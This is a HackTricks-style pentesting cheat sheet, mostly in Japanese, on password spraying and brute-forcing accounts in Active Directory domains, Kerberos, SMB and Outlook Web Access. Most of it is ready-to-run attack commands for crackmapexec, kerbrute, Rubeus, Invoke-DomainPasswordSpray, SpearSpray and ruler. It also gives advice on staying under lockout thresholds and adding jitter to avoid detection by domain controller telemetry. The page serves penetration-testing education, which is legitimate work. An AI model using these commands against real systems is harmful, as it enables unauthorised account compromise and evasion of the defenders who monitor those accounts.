Password Spraying / Brute Force

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Password Spraying

いくつかのvalid usernamesを見つけたら、発見した各ユーザーに対して最も一般的なcommon passwordsを試すことができます（環境のpassword policyを考慮してください）。
By default、minimum password lengthは7です。

common usernamesのリストも有用です: https://github.com/insidetrust/statistically-likely-usernames

注意：複数の誤ったpasswordsを試行すると、一部のアカウントがlockoutされる可能性があります（by default は 10 回以上）。

Get password policy

If you have some user credentials or a shell as a domain user you can get the password policy with:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation (Linux または全OSから)

  • 使用 crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (ロックアウトを回避するために試行回数を指定できます):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • kerbrute を使用する (python) - 推奨されません。場合によっては動作しないことがあります
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Metasploitのscanner/smb/smb_loginモジュールを使用して：

  • rpcclientを使用して：
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Windows 上から

  • Rubeus の brute module を含むバージョンで:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Invoke-DomainPasswordSpray を使用すると（デフォルトでドメインからユーザーを生成し、ドメインからパスワードポリシーを取得してそれに従って試行回数を制限します）:
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

Invoke-SprayEmptyPassword

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-auth–based spraying は SMB/NTLM/LDAP bind attempts に比べノイズを抑え、AD lockout policies とより整合します。SpearSpray は LDAP ドリブンのターゲティング、パターンエンジン、ポリシー認識（domain policy + PSOs + badPwdCount buffer）を組み合わせて、正確かつ安全にスプレーを行います。また、Neo4j に侵害されたプリンシパルをタグ付けして BloodHound のパス探索に利用することもできます。

Key ideas:

  • LDAP ユーザー検出（ページングと LDAPS サポート）、オプションでカスタム LDAP フィルタを使用可能。
  • ドメインロックアウトポリシー + PSO 対応フィルタリングにより、設定可能な試行バッファ（threshold）を残してユーザーのロックを回避。
  • 高速な gssapi bindings を使用した Kerberos pre-auth 検証（DC 上では 4625 の代わりに 4768/4771 を生成）。
  • 名前や各ユーザーの pwdLastSet に由来する時間値などの変数を使った、パターンベースのユーザー毎パスワード生成。
  • スレッド、ジッター、秒あたり最大リクエスト数によるスループット制御。
  • 任意の Neo4j 統合で、BloodHound 用に侵害済みユーザーをマーク。

Basic usage and discovery:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

ターゲティングとパターン制御:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

ステルスおよび安全対策：

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound のデータ強化：

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

パターンシステムの概要 (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

利用可能な変数には以下が含まれます:

  • {name}, {samaccountname}
  • Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Composition helpers and org token: {separator}, {suffix}, {extra}

運用上の注意:

  • 最も権威ある badPwdCount とポリシー関連情報を読むには、-dc を指定して PDC-emulator に問い合わせることを推奨します。
  • badPwdCount のリセットは観測ウィンドウ後の次回試行で発生するため、しきい値とタイミングを調整して安全を保ってください。
  • Kerberos pre-auth の試行は DC テレメトリで 4768/4771 として現れるため、jitter や rate-limiting を使って目立たないようにしてください。

ヒント: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.

Outlook Web Access

password spraying outlook用のツールが複数あります。

これらのツールを使用するには、ユーザーリストと spray 用の password（単一または少数）が必要です。

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

参考資料

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする